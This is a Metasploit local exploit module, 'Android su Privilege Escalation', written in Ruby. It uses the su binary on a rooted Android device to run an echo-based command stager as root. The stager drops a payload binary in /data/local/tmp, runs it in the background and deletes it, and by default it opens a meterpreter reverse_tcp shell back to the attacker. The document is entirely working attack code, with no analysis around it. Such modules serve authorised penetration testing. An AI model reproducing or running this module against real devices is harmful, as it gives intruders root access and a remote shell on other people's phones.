##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Post::File
  include Msf::Post::Android::Priv

  def initialize(info={})
    super( update_info( info, {
      'Name'           => "Android 'su' Privilege Escalation",
      'Description'    => %q{
          This module uses the su binary present on rooted devices to run
          a payload as root.

          A rooted Android device will contain a su binary (often linked with
          an application) that allows the user to run commands as root.
          This module will use the su binary to execute a command stager
          as root. The command stager will write a payload binary to a
          temporary directory, make it executable, execute it in the background,
          and finally delete the executable.

          On most devices the su binary will pop-up a prompt on the device
          asking the user for permission.
      },
      'Author'         => 'timwr',
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Aug 31 2017',
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Platform'       => [ 'android', 'linux' ],
      'Arch'           => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE ],
      'Targets'        => [
        ['aarch64',{'Arch' => ARCH_AARCH64}],
        ['armle',  {'Arch' => ARCH_ARMLE}],
        ['x86',    {'Arch' => ARCH_X86}],
        ['x64',    {'Arch' => ARCH_X64}],
        ['mipsle', {'Arch' => ARCH_MIPSLE}]
      ],
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
        'WfsDelay' => 5,
      },
      'DefaultTarget'  => 0,
      }
    ))
    register_options([
      OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),
      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def su_bin
    datastore['SU_BINARY'].to_s
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    linemax = 4088 - su_bin.size
    execute_cmdstager({
      flavor: :echo,
      enc_format: :octal,
      prefix: '\\\\0',
      temp: base_dir,
      linemax: linemax,
      background: true,
    })
  end

  def execute_command(cmd, opts)
    su_cmd = "#{su_bin} -c '#{cmd}'"
    cmd_exec(su_cmd)
  end

end

